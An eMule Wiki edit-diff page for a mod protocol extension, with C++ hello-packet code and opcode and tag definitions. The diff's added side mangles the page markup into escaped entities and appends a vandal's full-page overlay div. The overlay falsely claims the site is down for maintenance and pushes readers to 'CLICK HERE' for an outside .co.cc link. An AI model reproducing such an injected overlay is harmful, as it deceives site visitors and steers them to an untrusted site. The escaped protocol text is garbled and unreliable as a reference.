 
== Backward compatibility ==
Line 489: Line 489:
  
 
The proposed check to use would be like
 
The proposed check to use would be like
<pre>
+
&lt;pre&gt;
 
void CUpDownClient::SendHelloTypePacket(CSafeMemFile* data)
 
void CUpDownClient::SendHelloTypePacket(CSafeMemFile* data)
 
{
 
{
Line 496: Line 496:
 
uint32 tagcount = 6;
 
uint32 tagcount = 6;
  
if( theApp.clientlist->GetBuddy() && theApp.IsFirewalled() )
+
if( theApp.clientlist-&gt;GetBuddy() &amp;&amp; theApp.IsFirewalled() )
 
tagcount += 2;
 
tagcount += 2;
  
//>>> MODPROT::Send Modstring to old mods only
+
//&gt;&gt;&gt; MODPROT::Send Modstring to old mods only
const bool bSendModString = !SupportsModProt() && (!m_strModVersion.IsEmpty() || !m_pszUsername);  
+
const bool bSendModString = !SupportsModProt() &amp;&amp; (!m_strModVersion.IsEmpty() || !m_pszUsername);  
 
if(bSendModString)
 
if(bSendModString)
 
++tagcount;
 
++tagcount;
//<<< MODPROT::Send Modstring to old mods only
+
//&lt;&lt;&lt; MODPROT::Send Modstring to old mods only
  
data->WriteUInt32(tagcount);
+
data-&gt;WriteUInt32(tagcount);
 
...
 
...
 
...
 
...
 
tagMuleVersion.WriteTagToFile(data);
 
tagMuleVersion.WriteTagToFile(data);
  
//>>> MODPROT::Send Modstring to old mods only
+
//&gt;&gt;&gt; MODPROT::Send Modstring to old mods only
 
if(bSendModString)
 
if(bSendModString)
 
{
 
{
CTag tagMod(CT_MOD_VERSION, L"My Mod String");
+
CTag tagMod(CT_MOD_VERSION, L&quot;My Mod String&quot;);
 
tagMod.WriteTagToFile(data);
 
tagMod.WriteTagToFile(data);
 
}
 
}
//<<< MODPROT::Send Modstring to old mods only
+
//&lt;&lt;&lt; MODPROT::Send Modstring to old mods only
  
 
uint32 dwIP;
 
uint32 dwIP;
Line 522: Line 522:
 
...
 
...
 
...
 
...
</pre>
+
&lt;/pre&gt;
 
and similar for the info packet.
 
and similar for the info packet.
  
  
 
== OPCODE defines ==
 
== OPCODE defines ==
<pre>
+
&lt;pre&gt;
 
OP_MODPROT      0x4D
 
OP_MODPROT      0x4D
 
OP_MODPACKEDPROT 0x6D
 
OP_MODPACKEDPROT 0x6D
 
OP_MODINFOPACKET 0x01
 
OP_MODINFOPACKET 0x01
</pre>
+
&lt;/pre&gt;
  
 
== TAG defines ==
 
== TAG defines ==
Line 547: Line 547:
 
The range 0x7F-FF is open and you can claim any free tag you want, only objection can be the usage of too many tags (e.g. someone claims to need a range from 0x80 to 0xAF).
 
The range 0x7F-FF is open and you can claim any free tag you want, only objection can be the usage of too many tags (e.g. someone claims to need a range from 0x80 to 0xAF).
  
{| style="font-size: 85%; text-align: Left;Border="1";
+
{| style=&quot;font-size: 85%; text-align: Left;Border=&quot;1&quot;;
 
! rowspan=2 | TAGNAME  
 
! rowspan=2 | TAGNAME  
 
! rowspan=2 | VALUE
 
! rowspan=2 | VALUE
Line 611: Line 611:
  
  
<nowiki>*</nowiki> The UDP Mod File Status bit is not only used for ICS but used in general. It also tells whether Mod Multi Packet with extended mod status should be sent over UDP or not.
+
&lt;nowiki&gt;*&lt;/nowiki&gt; The UDP Mod File Status bit is not only used for ICS but used in general. It also tells whether Mod Multi Packet with extended mod status should be sent over UDP or not.
  
 
== See also ==  
 
== See also ==  
Line 617: Line 617:
 
References to emule protocol...
 
References to emule protocol...
 
[[category:Mod_protocol_extensions]]
 
[[category:Mod_protocol_extensions]]
 +
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://asifetyr.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://asifetyr.co.cc CLICK HERE]=
 +
----
 +
</div>

Please note that all contributions to EMule Wiki may be edited, altered, or removed by other contributors. If you do not want your writing to be edited mercilessly, then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public domain or similar free resource (see EMule Wiki:Copyrights for details). Do not submit copyrighted work without permission!

Cancel | Editing help (opens in new window)
Personal tools